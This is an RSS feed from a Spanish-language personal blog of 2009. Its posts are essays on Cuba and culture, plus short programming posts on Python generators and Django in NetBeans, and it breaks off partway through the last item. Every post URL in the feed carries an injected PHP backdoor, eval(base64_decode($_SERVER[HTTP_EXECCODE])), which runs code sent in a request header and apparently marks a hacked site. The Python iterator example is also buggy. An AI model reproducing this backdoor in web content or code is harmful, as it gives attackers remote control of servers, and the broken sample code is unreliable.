<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	>

<channel>
	<title>Programación, Literatura y otras artes menores</title>
	<atom:link href="http://blog.dimeder.com/feed/" rel="self" type="application/rss+xml" />
	<link>http://blog.dimeder.com</link>
	<description>El esfuerzo de utilizar máquinas para imitar la mente humana siempre me ha parecido bastante tonto: las usaría para imitar algo mejor. --Edsger W. Dijkstra</description>
	<pubDate>Fri, 29 Jan 2010 17:50:45 +0000</pubDate>
	<generator>http://wordpress.org/?v=2.6.1</generator>
	<language>en</language>
			<item>
		<title>Comunista vs Anticubano</title>
		<link>http://blog.dimeder.com/2009/09/15/comunista-vs-anticubano/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/</link>
		<comments>http://blog.dimeder.com/2009/09/15/comunista-vs-anticubano/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments</comments>
		<pubDate>Tue, 15 Sep 2009 17:13:19 +0000</pubDate>
		<dc:creator>Miguel Angel Iglesias</dc:creator>
		
		<category><![CDATA[Cuba]]></category>

		<guid isPermaLink="false">http://blog.dimeder.com/?p=234</guid>
		<description><![CDATA[Una de las cosas que más daño le ha hecho a Cuba, mi país, es aquello de &#8220;estás conmigo o contra mí&#8221;: nos han relegado a un papel de comparsa de teatro, hacemos lo que nos toca en función de un guión escrito por los que están en los grandes sillones. Eres anticastrista(que es lo [...]]]></description>
			<content:encoded><![CDATA[<p>Una de las cosas que más daño le ha hecho a Cuba, mi país, es aquello de &#8220;estás conmigo o contra mí&#8221;: nos han relegado a un papel de comparsa de teatro, hacemos lo que nos toca en función de un guión escrito por los que están en los grandes sillones. Eres anticastrista(que es lo mismo que contrarevolucionario, que a su vez es lo mismo que anticubano) o eres comunista y enemigo de la libertad; la diversidad está proscrita, en ninguno de los bandos hay libertad, como no puede haberla en el ejército, en ambos bandos te mandan a corte marcial por disentir.</p>
<p>Lo peor es que la porción del planeta que nos concierne se ha dejado llevar por esta rencilla absurda, según donde se lea, los buenos son unos y los malos otros, pero siempre está la distinción; no puede haber matices, aun cuando se intenten, pues son eliminados por los discursos.</p>
<p>Como en la guerra, hay que escoger bandos y hacer alianzas, por ejemplo, ahora parece ser que en Cuba la iglesia es aliada de la democracia, cuando es imposible que una institución tan eminentemente feudal pueda tener algo que ver con la libertad individual y la diversidad, de hecho son más parecidos a los stalinistas que a los demócratas, sin embargo, como el gobierno cubano persiguió a la iglesia y a los religiosos en general, entonces &#8220;somos del mismo bando&#8221;. Pues no, no lo somos, perseguimos objetivos distintos(aun cuando un integrante de la iglesia sí sea demócrata, su institución no lo es).</p>
<p>No podemos andar por ahí sumando gente a los bandos, solo porque en nuestro idioma estamos tan acostumbrados a los sinónimos y antónimos, parece ser que somos incapaces de pensar en más de dos dimensiones, de concebir la diversidad por mucho tiempo.</p>
<p>No todos somos anticastristas, entre otras cosas porque a mi me importan bien poco las ideas o &#8220;principios&#8221; de Fidel Castro, sobre todo porque como intelectual le tengo poca estima, y como persona me parece demasiado irracional. A mi me importan los derechos humanos. No quiero buscar ni encontrar enemigos, quiero libertad, pero no solo institucional, sino además en nuestras cabezas, quiero que en mi país haya una educación real, orientada al espíritu crítico y la libertad de pensamiento y de palabra.</p>
<p>En resumen, solo quiero democracia para mi país.</p>
]]></content:encoded>
			<wfw:commentRss>http://blog.dimeder.com/2009/09/15/comunista-vs-anticubano/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Las venas que Cuba se ha dejado abiertas</title>
		<link>http://blog.dimeder.com/2009/06/03/las-venas-que-cuba-se-ha-dejado-abiertas/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/</link>
		<comments>http://blog.dimeder.com/2009/06/03/las-venas-que-cuba-se-ha-dejado-abiertas/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments</comments>
		<pubDate>Wed, 03 Jun 2009 18:10:31 +0000</pubDate>
		<dc:creator>Miguel Angel Iglesias</dc:creator>
		
		<category><![CDATA[Cuba]]></category>

		<guid isPermaLink="false">http://blog.dimeder.com/?p=203</guid>
		<description><![CDATA[La razones por las cuales la mayoría de los países de América Latina somos más pobres que Europa y EEUU, pueden ser, y son, los siglos de colonialismo e injerencia, pero no creo que debamos permitir que nuestro pasado condicione las decisiones que hemos de tomar para el futuro. El legado más destacable de nuestro [...]]]></description>
			<content:encoded><![CDATA[<p>La razones por las cuales la mayoría de los países de América Latina somos más pobres que Europa y EEUU, pueden ser, y son, los siglos de colonialismo e injerencia, pero no creo que debamos permitir que nuestro pasado condicione las decisiones que hemos de tomar para el futuro. El legado más destacable de nuestro pasado son las diversas idiosincrasias forjadas a lo largo del continente, muchas maneras distintas de hacer las cosas, algunas más eficientes que otras, pero en definitiva nuestra manera de hacerlas, y son estas &#8220;personalidades&#8221;, las que guían &#8220;nuestra&#8221; mano cuando firmamos tratados o &#8220;escribimos&#8221; leyes, a veces queremos parecernos al resto de Occidente, otras veces queremos ser lo más diferentes posibles; pero siempre estamos teniendo en cuenta la opinión de los padres, quizás sea hora de crecer.</p>
<p>No obstante algo bueno inventaron nuestros &#8220;padres&#8221;: el estado de bienestar, traducido como &#8220;Igualdad de oportunidades&#8221;, aunque reconozco que eso es algo que no se ve mucho en casi ningún rincón del planeta, igual es un ideal bastante bonito&#8230;</p>
<p>Decir igualdad de oportunidades equivale a que todos tienen que tener acceso a una salud pública y a una educación de calidad. Uno de los grandes logros del sistema cubano de educación son las becas &#8212; que no deben entenderse como las del resto de Occidente, en Cuba beca=internado, pues toda la educación es gratis &#8212; , de manera que, aunque los padres sean personas sin recursos, el estado se hace responsable de la manutención del muchacho desde la secundaria hasta la universidad, claro que ese sistema es muy deficiente, y muy caro para el país, pues todos los estudiantes tienen(o deberían tener) el derecho a becarse, pero la idea es genial, un estudiante de padres pobres está en igualdad de condiciones que un estudiante de padres acomodados. Osea, no es que solo tengan acceso a las becas los pobres, sino que todos los estudiantes van al internado.</p>
<p>Ahora mismo en Cuba hay algo parecido a la &#8220;igualdad de oportunidades&#8221;, aunque es muy triste ver como el sistema educativo se deteriora, al igual que la salud pública, y no hablo de los recursos, sino de la calidad de los profesionales implicados(casi es una vergüenza llamar &#8220;profesionales&#8221; a los maestros emergentes). Además de que una vez graduado ya no tienes mucho que hacer con tus conocimientos y educación, pues el techo de lo que puedes lograr(desde el punto de vista del bienestar económico) está muy pegado al suelo.</p>
<p>Entonces, nosotros somos distintos a los europeos, aunque somos herederos de su cultura, es verdad que siglos de saqueo entorpecen nuestro presente, pero ¿vale la pena ponerse a pensar en eso ahora? ¿no somos lo suficientemente maduros como para dejar atrás los viejos rencores? Ya América Latina es independiente, al menos nominalmente, y si no lo es más es porque nuestros gobernantes, y nosotros mismos, no lo hemos querido(permitido). De hecho Cuba tuvo la oportunidad de una verdadera independencia, pero a causa de&#8230; bueno por las razones que sean, nos hicimos dependientes de la URSS, y 50 años después no sabemos como no depender del petroleo barato, de las remesas familiares, etc; nunca hemos sabido ser verdaderamente independientes, y con independientes me refiero a ser sustentables, osea tener nuestras importaciones repartidas entre varios proveedores(y exportaciones entre varios compradores), y no uno solo como siempre ha sido, si ahora sucede, como está sucediendo, que Venezuela nos quita el petroleo, ya nos jodimos.</p>
<p>En fin, que Cuba ni es soberana, ni estamos encaminados a un desarrollo sostenible como dice la <a title="cuba-sostenible" href="http://www.eleconomista.es/mercados-cotizaciones/noticias/93187/10/06/RSC-Un-Informe-de-la-WWF-senala-a-Cuba-como-el-unico-pais-del-mundo-con-desarrollo-sostenible.html" target="_blank">WWF</a>, pues la única razón que tenemos para respetar nuestro medio ambiente es que no tenemos recursos naturales que sacar de él, ni madera, ni carbón ni petroleo, de hecho si fueran a <a title="Moa" href="http://farm1.static.flickr.com/144/328048932_76ce419328.jpg?v=0" target="_blank">Moa</a>, verán que eso parece un escenario post-bomba, y con <a title="terraplen cayo coco" href="http://4.bp.blogspot.com/_5jy0SZhMlaU/SJuWKLlWxkI/AAAAAAAADVM/WcY9DTJELXc/s320/cayo+coco+pedraplen.jpg" target="_blank">el terraplén a Cayo Coco</a> acabaron con la fauna y flora del lugar, así que tampoco es que respetemos a la madre Tierra.<br />
Cuba tiene potencial para ser un gran país, y lo tiene gracias a la revolución y a los recursos que destinó a la educación, pero ya esos logros van desvaneciéndose, las nuevas generaciones van a estar mucho peor preparadas y gran parte de las generaciones que sí tuvieron una buena formación o no están en la isla o se quieren ir, a este ritmo no va a quedar nadie que eche el país para adelante cuando por fin no haya bloqueo ni demás restricciones.</p>
<p><small><br />
</small></p>
]]></content:encoded>
			<wfw:commentRss>http://blog.dimeder.com/2009/06/03/las-venas-que-cuba-se-ha-dejado-abiertas/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/feed/</wfw:commentRss>
		</item>
		<item>
		<title>¡Salvemos la Cultura!</title>
		<link>http://blog.dimeder.com/2009/06/02/%c2%a1salvemos-la-cultura/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/</link>
		<comments>http://blog.dimeder.com/2009/06/02/%c2%a1salvemos-la-cultura/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments</comments>
		<pubDate>Tue, 02 Jun 2009 18:41:38 +0000</pubDate>
		<dc:creator>Miguel Angel Iglesias</dc:creator>
		
		<category><![CDATA[Cultura]]></category>

		<guid isPermaLink="false">http://blog.dimeder.com/?p=200</guid>
		<description><![CDATA[Desde que tomé en mis manos el primer libro de Carpentier y desprecié a Julio Verne, he pensado que el Arte es una cosa y el entretenimiento es otra, osea, hay quienes crean &#8220;arte comercial&#8221;, cuya meta es entretener, y hay quienes crean &#8220;Arte&#8221;, cuya meta es el Arte en sí mismo.
Pero ya no pienso [...]]]></description>
			<content:encoded><![CDATA[<p>Desde que tomé en mis manos el primer libro de Carpentier y desprecié a Julio Verne, he pensado que el Arte es una cosa y el entretenimiento es otra, osea, hay quienes crean &#8220;arte comercial&#8221;, cuya meta es entretener, y hay quienes crean &#8220;Arte&#8221;, cuya meta es el Arte en sí mismo.</p>
<p>Pero ya no pienso eso, quizás me he simplificado con los años, pero tengo la terrible sospecha que todo lo que llamamos Arte, ha estado destinado a entretener (aunque sus autores se empeñen en hacernos creer lo contrario), pues en definitiva ¿Por qué leo a Thomas Mann? pues porque me entretiene, ni más ni menos.</p>
<p>Ya sé que comparar una comedia de domingo con &#8220;El club de los poetas muertos&#8221;, es poco menos que una herejía&#8230; para los que nos gusta la película, para muchos otros Los poetas muertos es un bodrio y la comedia del domingo es divertidísima, y seguramente las películas de Van Damme son clásicos&#8230;</p>
<p>Ya no creo que exista una Cultura, o un Arte, sino que la cultura y el arte(así con minúsculas) son universales y eternos(según la eternidad medida por el hombre, osea, mientras este exista), no podemos despreciar manifestaciones culturales solo porque nos parezcan una patada en el hígado(aka reggaeton), son todas válidas y pertenecen a la epoca que las parió(tenemos el reggaeton que nos merecemos).</p>
<p>Esta &#8220;reflexión&#8221; se me ocurrió después de haber oído a las industrias de entretenimiento y a algunos gobiernos hablar sobre salvar la cultura de sus respectivos países, y lo peor(o lo mejor, según lo que cada cual encuentre divertido), es que intentan salvar la cultura de la gente, de los que la producen y la disfrutan.</p>
<p>Pueden estar tranquilos salvadores nuestros, la cultura está a salvo, quizás no sea  el tipo de cultura que les de ganancias, pero cultura y arte, lo que se dice cultura y arte, seguirán existiendo hasta que el último hombre languidezca a la sombra de un Sol moribundo <img src='http://blog.dimeder.com/wp-includes/images/smilies/icon_wink.gif' alt=';-)' class='wp-smiley' /></p>
]]></content:encoded>
			<wfw:commentRss>http://blog.dimeder.com/2009/06/02/%c2%a1salvemos-la-cultura/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Pipelines en Python utilizando generators</title>
		<link>http://blog.dimeder.com/2009/06/01/pipelines-en-python-utilizando-generators/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/</link>
		<comments>http://blog.dimeder.com/2009/06/01/pipelines-en-python-utilizando-generators/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments</comments>
		<pubDate>Mon, 01 Jun 2009 23:46:17 +0000</pubDate>
		<dc:creator>Miguel Angel Iglesias</dc:creator>
		
		<category><![CDATA[Programación]]></category>

		<category><![CDATA[Tecnología]]></category>

		<guid isPermaLink="false">http://blog.dimeder.com/?p=189</guid>
		<description><![CDATA[Ya el libro que me estoy leyendo me empieza a develar algunas bondades de python que  este humilde programador de java no conocía: los iterators y generators.
Para un javero como yo los iterators de python son un poco raros, pues en realidad forman parte del lenguaje, o dicho de otra manera, el lenguaje &#8220;soporta&#8221; el [...]]]></description>
			<content:encoded><![CDATA[<p>Ya el libro que me estoy leyendo me empieza a develar algunas bondades de python que  este humilde programador de java no conocía: los <em>iterators</em> y <em>generators</em>.</p>
<p>Para un javero como yo los <em>iterators</em> de python son un poco raros, pues en realidad forman parte del lenguaje, o dicho de otra manera, el lenguaje &#8220;soporta&#8221; el <a title="iterator pattern" href="http://en.wikipedia.org/wiki/Iterator_pattern" target="_blank">patrón iterator</a>, básicamente nuestra clase <em>iterator</em> debe implementar los métodos next() y __iter__(); el primero es el que manipula el paso como tal, y el segundo devuelve el objeto <em>iterator</em>:</p>
<pre>class MyIterator(object):
    def __init__(self,paso):
        self.paso=paso
    def next():
        """Returns the next element."""
        if self.step == 0:
             raise StopIteration
        self.step -= 1
        return self.step
    def __iter__(self):
        """Returns the iterator itself."""
        return self

if __name__ == '__main__':
    for el in MyIterator(4):
        print el</pre>
<p>Este ejemplo, y en general todo lo que voy a escribir hoy, está sacado de <a title="Expert Python Programming" href="http://www.amazon.com/Expert-Python-Programming-practices-distributing/dp/184719494X/ref=sr_1_1?ie=UTF8&amp;s=books&amp;qid=1243897085&amp;sr=8-1" target="_blank">Expert Python Programming</a>.</p>
<p>Como pueden ver, si están acostumbrados a la interfaz java.util.Iterator de java, esto les debe parecer una bobería&#8230; pero, ahora viene lo bueno, los <em>generators</em>.</p>
<p>Los <em>iterators</em> son la base de los <em>generators</em>, yo no voy a hablar extensamente de los <em>generators</em>, pues recién ahora estoy enterándome que existen, pero vale la pena ver como hacer lo que dice el título de este artículo: hacer <a title="pipelines - Unix" href="http://en.wikipedia.org/wiki/Pipeline_(Unix)" target="_blank">pipelines.</a></p>
<p>Resulta que quizás algunos de nosotros(los de java) nos hayamos acostumbrado a ir recorriendo una colección de objetos(antes con un <em>java.util.terator</em>, ahora con un <em>for</em> gracias a los <em>generics</em>), cuando hemos necesitado hacerles operaciones a sus elementos, en python es otra historia, pues además de la función  <em>map()</em>, tenemos los <em>generators</em></p>
<p>Un <em>generator</em> utiliza la directiva <em>yield</em> para detener la ejecución, a la par que se hace el procesamiento que haya que hacerle al elemento en cuestión,  y queda en espera de una nueva llamada a next(), consideremos lo siguiente:</p>
<pre>def power(values):
    for value in values:
        print 'powering %s' % value
        yield value * 2
def adder(values):
    for value in values:
        print 'adding to %s' % value
        if value % 2 ==0:
            yield value + 3
        else:
            yield value +2</pre>
<p>Aquí tenemos 2 funciones, una multiplica por dos a todos los elementos de una colección, y la otra, en dependencia si el elemento es par o no, le suma 2 o 3. Lo que haremos ahora será pasarle una lista de numeros a la funcion power(), y su resultado a la función adder():</p>
<pre>In [66]: res = adder(power(elms))
In [67]: [res.next() for l in elms]
powering 1
adding to 2
powering 4
adding to 8
powering 7
adding to 14
powering 9
adding to 18
powering 12
adding to 24
powering 19
adding to 38
Out[67]: [5, 11, 17, 21, 27, 41]</pre>
<p>En realidad lo que se le pasa a la función <em>adder()</em> es un <em>generator</em>, por lo que al recorrer el resultado mediante next() lo que obtenemos es un <em>generator</em> que apunta a los valores procesados por ambas funciones.</p>
<p>Para que se entienda mejor:</p>
<pre>In [73]: g = power(elms)
In [74]: g
Out[74]: generator object power at 0x2d96f50
In [75]: res2 =  adder(g)
In [76]: res2
Out[76]: generator object adder at 0x2da3190
In [77]: [res2.next() for l in elms]
powering 1
adding to 2
powering 4
adding to 8
powering 7
adding to 14
powering 9
adding to 18
powering 12
adding to 24
powering 19
adding to 38
Out[77]: [5, 11, 17, 21, 27, 41]</pre>
<p>Anjá, cada función devuelve un objeto generator, que puede ser consumido por otra función y así ad infinitum&#8230;</p>
<p>Espero que les sirva de algo, pronto seguiré profundizando en los <em>generators</em> y en su papel en las <a title="coroutines - generators" href="http://www.python.org/dev/peps/pep-0342/" target="_blank"><em>coroutine</em>s</a>.</p>
]]></content:encoded>
			<wfw:commentRss>http://blog.dimeder.com/2009/06/01/pipelines-en-python-utilizando-generators/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Libro sobre buenas prácticas en python</title>
		<link>http://blog.dimeder.com/2009/05/31/libro-sobre-buenas-practicas-en-python/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/</link>
		<comments>http://blog.dimeder.com/2009/05/31/libro-sobre-buenas-practicas-en-python/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments</comments>
		<pubDate>Sun, 31 May 2009 08:47:00 +0000</pubDate>
		<dc:creator>Miguel Angel Iglesias</dc:creator>
		
		<category><![CDATA[Programación]]></category>

		<category><![CDATA[Tecnología]]></category>

		<guid isPermaLink="false">http://blog.dimeder.com/?p=186</guid>
		<description><![CDATA[Ha llegado a mis manos un libro que parece estar prometedor: Expert Python Programming, básicamente es un compendio de buenas prácticas en lo que respecta a la sintaxis y la distribución de aplicaciones escritas en python, el libro anda por ahí on-line, así que si lo buscan lo encontrarán, además prometo dejar una review acá [...]]]></description>
			<content:encoded><![CDATA[<p>Ha llegado a mis manos un libro que parece estar prometedor: <a title="Expert Python Programming - Reviews" href="http://www.amazon.com/Expert-Python-Programming-practices-distributing/product-reviews/184719494X/ref=dp_top_cm_cr_acr_txt?ie=UTF8&amp;showViewpoints=1" target="_blank">Expert Python Programming</a>, básicamente es un compendio de buenas prácticas en lo que respecta a la sintaxis y la distribución de aplicaciones escritas en python, el libro anda por ahí on-line, así que si lo buscan lo encontrarán, además prometo dejar una review acá cuando lo termine.</p>
]]></content:encoded>
			<wfw:commentRss>http://blog.dimeder.com/2009/05/31/libro-sobre-buenas-practicas-en-python/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Django en NetBeans 6.5.1</title>
		<link>http://blog.dimeder.com/2009/05/31/django-en-netbeans-651/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/</link>
		<comments>http://blog.dimeder.com/2009/05/31/django-en-netbeans-651/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments</comments>
		<pubDate>Sun, 31 May 2009 08:37:47 +0000</pubDate>
		<dc:creator>Miguel Angel Iglesias</dc:creator>
		
		<category><![CDATA[Programación]]></category>

		<category><![CDATA[Tecnología]]></category>

		<guid isPermaLink="false">http://blog.dimeder.com/?p=177</guid>
		<description><![CDATA[Cómo muchos sabrán ya en NetBeans 6.5.1 hay un buen soporte para python, pero muchos de los que programamos en python lo hacemos casi exclusivamente usando django, así que me dediqué a investigar si podía depurar paso a paso una aplicación de django desde netbeans, y entre blogs y pedradas lo logré con estos pasos:

Primero [...]]]></description>
			<content:encoded><![CDATA[<p>Cómo muchos sabrán ya en NetBeans 6.5.1 hay un buen soporte para python, pero muchos de los que programamos en python lo hacemos casi exclusivamente usando django, así que me dediqué a investigar si podía depurar paso a paso una aplicación de django desde netbeans, y entre blogs y pedradas lo logré con estos pasos:</p>
<ol>
<li>Primero deben instalar el plugin para Python de netbeans, lo podran encontrar en Tools-&gt;Plugins ahi buscan python y lo instalan.</li>
<li>Crean el proyecto de django con la herramienta de django de toda la vida, digamos que se llama ProyectoCuqui(<em>django-admin.py startproject ProyectoCuqui</em>)</li>
<li>Luego para usar el proyecto de django van a: File -&gt; New Project -&gt; Choose Project -&gt; Python -&gt; Python Project with Existing Sources</li>
<li>En Project Name ponen ProyectoCuqui y en el Project Folder la ruta hasta la carpeta de ProyectoCuqui(incluyendo la carpeta ProyectoCuqui), no se preocupen que no se sobreescribe ni se borra nada. Fijense bien de haber seleccionado a Python en la Python Platform</li>
<li>En el siguiente paso en Source Root Folders le dan a Add Folder y añaden la carpeta de ProyectoCuqui(sí, otra vez) y Finish</li>
<li>En el proyecto dan clic derecho -&gt; Properties -&gt; Run y en Main Module ponen manage.py y en Application Arguments ponen runserver &#8211;noreload</li>
</ol>
<p>Entonces, para poder depurar el proyecto como si fuera&#8230; bueno como si estuviera integrado al IDE  deben ir a Tools -&gt; Python Platforms -&gt; Python2.5.2(o el que tengan instalado)-&gt; Python Path y añaden todos los eggs que use su proyeto, INCLUIDO MySQLdb.</p>
<p>ADVIERTO: Tanto el plugin de python como el debugger de netbeans(que no es de netbeans)<br />
tienen unos cuantos bugs, así que sean pacientes y reportenlos, no sean malos <img src='http://blog.dimeder.com/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
<p>Hay maneras más &#8220;elegantes&#8221; de hacer esto, he estado estudiando <a title="buildout y django" href="http://jacobian.org/writing/django-apps-with-buildout/" target="_blank">buildout</a>, cuando tenga algo lo tiro por acá.</p>
]]></content:encoded>
			<wfw:commentRss>http://blog.dimeder.com/2009/05/31/django-en-netbeans-651/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Sobre Yoany y generaciony</title>
		<link>http://blog.dimeder.com/2009/04/15/sobre-yoany-y-generaciony/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/</link>
		<comments>http://blog.dimeder.com/2009/04/15/sobre-yoany-y-generaciony/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments</comments>
		<pubDate>Wed, 15 Apr 2009 21:50:39 +0000</pubDate>
		<dc:creator>Miguel Angel Iglesias</dc:creator>
		
		<category><![CDATA[Cuba]]></category>

		<category><![CDATA[Programación]]></category>

		<guid isPermaLink="false">http://dimeder.com/blog/?p=169</guid>
		<description><![CDATA[Esa muchacha&#8230; no acabo de entender la notoriedad de su blog, no dice nada relevante, ni para bien ni para mal, siempre anda tibia&#8230; además desde que arrancó con el blog empezó con su complejo de martir&#8230; cuando hay millones de cubanos que la pasan peor que ella, ella al menos pudo viajar a España(luego [...]]]></description>
			<content:encoded><![CDATA[<p><span id="comment-2"><span id="cid-3782">Esa <a title="generacionY" href="http://www.desdecuba.com/generaciony/" target="_blank">muchacha</a>&#8230; no acabo de entender la notoriedad de su blog, no dice nada relevante, ni para bien ni para mal, siempre anda tibia&#8230; además desde que arrancó con el blog empezó con su complejo de martir&#8230; cuando hay millones de cubanos que la pasan peor que ella, ella al menos pudo viajar a España(luego de regresar fue que comenzó el blog) A ella le negaron varias veces la salida, y es quizás por el blog, pero hay miles de cubanos que le niegan la salida y no tienen blog ni les han dado premios en España.<br />
En realidad me parece una oportunista, pero lo peor no es eso, sino que no aprovecha la oportunidad que le dan de poder vivir de hablar mal de gobierno&#8230; ¡ pues no lo hace! Se limita a hacer 3 o 4 cuentos sobre la pobreza en cuba, no investiga, no hace denuncias, de tanto que hay que denunciar ¡no mueve un dedo! se la pasa en su casa, y de vez en cuando se acuerda de los muñequitos rusos y escribe sobre eso.<br />
Yo me fui de Cuba buscando una vida mejor, pero quizás(asegurarlo sería mentir, aunque sí lo intenté conservando mi anonimato) si me hubieran dado la oportunidad de vivir de mi blog, trataría de buscar información no accesible para mis compatriotas de dentro y fuera, intentaría hacer periodismo de investigación, y si fuera a opinar algo, trataría de hacerlo con datos, no con imágenes semi-poéticas; pero entiendo que ese tipo de denuncia, cargada de datos y análisis, jamás tendría tanta popularidad, quizás los de PRISA sepan lo que hacen, tienen mucha experiencia, y saben que no pueden ponerle la cosa difícil a los lectores, pero además tienen una carta de triunfo, cuando alguien como yo intenta criticar a Yoani entonces lo acusan de estar a favor del gobierno de Cuba. NO. Estoy en contra del gobierno, pero también en contra de la superficialidad, se ha pasado mucha hambre en Cuba, se han roto demasiados sueños en mi isla como para vulgarizarlos con tanto seudo-periodismo manipulador.<br />
Sin embargo hay algo que me duele de verdad en todo esto - lo que escribí arriba solo me indigna - y es ver las legiones de comentaristas que se despedazan detrás de cada artículo, ofendiéndose y gritando estupideces(aunque hay varios muy inteligentes, que son apartados rápidamente del &#8220;debate&#8221;). Ver a esos me da pena por el futuro de mi país, me asusta pensar de si cuando por fin alcanzamos la democracia, sean esos los que la ejerzan&#8230; si es así necesitaremos unas cuantas décadas para recuperarnos de la tontería y el no-pensar.</span></span></p>
]]></content:encoded>
			<wfw:commentRss>http://blog.dimeder.com/2009/04/15/sobre-yoany-y-generaciony/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/feed/</wfw:commentRss>
		</item>
		<item>
		<title>El País de las Maravillas</title>
		<link>http://blog.dimeder.com/2009/02/24/el-pais-de-las-maravillas/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/</link>
		<comments>http://blog.dimeder.com/2009/02/24/el-pais-de-las-maravillas/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments</comments>
		<pubDate>Tue, 24 Feb 2009 16:46:50 +0000</pubDate>
		<dc:creator>Miguel Angel Iglesias</dc:creator>
		
		<category><![CDATA[Cuba]]></category>

		<guid isPermaLink="false">http://dimeder.com/blog/?p=164</guid>
		<description><![CDATA[Hay pocos países (si es que hay alguno) cuyos ciudadanos vivan en un entorno tan distinto al resto del mundo como en Cuba. Evidentemente cuando digo &#8220;mundo&#8221; estoy recortando el planeta a &#8220;occidente&#8221; y por &#8220;occidente&#8221; me refiero a los herederos de la cultura europea.
No importa que tan pobre sea el país, que tanta corrupción [...]]]></description>
			<content:encoded><![CDATA[<p>Hay pocos países (si es que hay alguno) cuyos ciudadanos vivan en un entorno tan distinto al resto del mundo como en Cuba. Evidentemente cuando digo &#8220;mundo&#8221; estoy recortando el planeta a &#8220;occidente&#8221; y por &#8220;occidente&#8221; me refiero a los herederos de la cultura europea.</p>
<p>No importa que tan pobre sea el país, que tanta corrupción tenga, cuando un habitante de un país de América(norte, sur, centro o caribe) o de Europa viaja a otro del entorno occidental las &#8220;grandes&#8221; diferencias que verá(además de las culturales y de idiosincrasia) será que el gobierno del país visitado funciona mejor o peor que el suyo, que la gente tiene más o menos dinero y cosas así, mayormente serán diferencias cuantitativas.</p>
<p>Pero cuando un cubanito viaja&#8230; es como ir al País de las Maravillas, no importa si estas maravillas son niños comiendo de la calle o empresarios de cuello y corbata con carros del año o facilidades para crear una empresa&#8230; es otro mundo. He pensado mucho en esto, llevo año y medio pensándolo desde que llegué a México.</p>
<p>Me sorprendió que para muchos europeos con los he hablado,  para amigos en EUA y hasta para la totalidad de mexicanos con los que he conversado sobre esto, México es un país pobre y/o de pocas oportunidades&#8230; sin embargo para mi, cubanito del prado verde, este es un País de las Maravillas, donde hacer dinero es fácil, más que en Cuba, donde con mi salario puedo comprarme un refrigerador o un televisor&#8230; donde una pastilla para el cancer cuesta 150 usd(una pastilla sola, no el paquete).</p>
<p>Para bien o para mal es otro mundo, me ha resultado imposible lograr que los de aquí comprendan lo que significa vivir en Cuba, los que defienden su sistema no lo entienden, los que atacan su sistema tampoco, hay que ir allá, hay que vivir allá.</p>
<p>Voy a cerrar este artículo revelando lo que a mi entender es la más tremenda maravilla de este mundo del que Cuba se ha excluido: La oportunidad de arriesgarse, de no tener red de portección, o de que esta sea tan miserable que no valga un céntimo. Ahora mismo yo estoy trabajando en una Start-Up, si no logramos sacar el proyecto adelante&#8230; voy pa la calle, por eso debo tener un plan de respaldo, y estoy intentando hacerme reseller de una empresa de hosting; estos miedos, este pensamiento seudo-estrategico, no es necesario en mi isla, la cual, para el resto del mundo, es el auténtico País de las Maravillas.</p>
]]></content:encoded>
			<wfw:commentRss>http://blog.dimeder.com/2009/02/24/el-pais-de-las-maravillas/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Diseñando bases de datos&#8230; online</title>
		<link>http://blog.dimeder.com/2009/01/28/disenando-bases-de-datos-online/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/</link>
		<comments>http://blog.dimeder.com/2009/01/28/disenando-bases-de-datos-online/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments</comments>
		<pubDate>Thu, 29 Jan 2009 00:09:35 +0000</pubDate>
		<dc:creator>Miguel Angel Iglesias</dc:creator>
		
		<category><![CDATA[Internet]]></category>

		<category><![CDATA[Programación]]></category>

		<guid isPermaLink="false">http://dimeder.com/blog/?p=162</guid>
		<description><![CDATA[Hurgando en la red en busca de hostings, se me ocurrió darme un paseo por el Google App Engine, y aunque no tengo ninguna intención de poner una aplicación ahí, tuve curiosidad por ver su galería de aplicaciones&#8230; y  me encontré el GAE SQL Designer, que no es otra cosa que un editor visual de [...]]]></description>
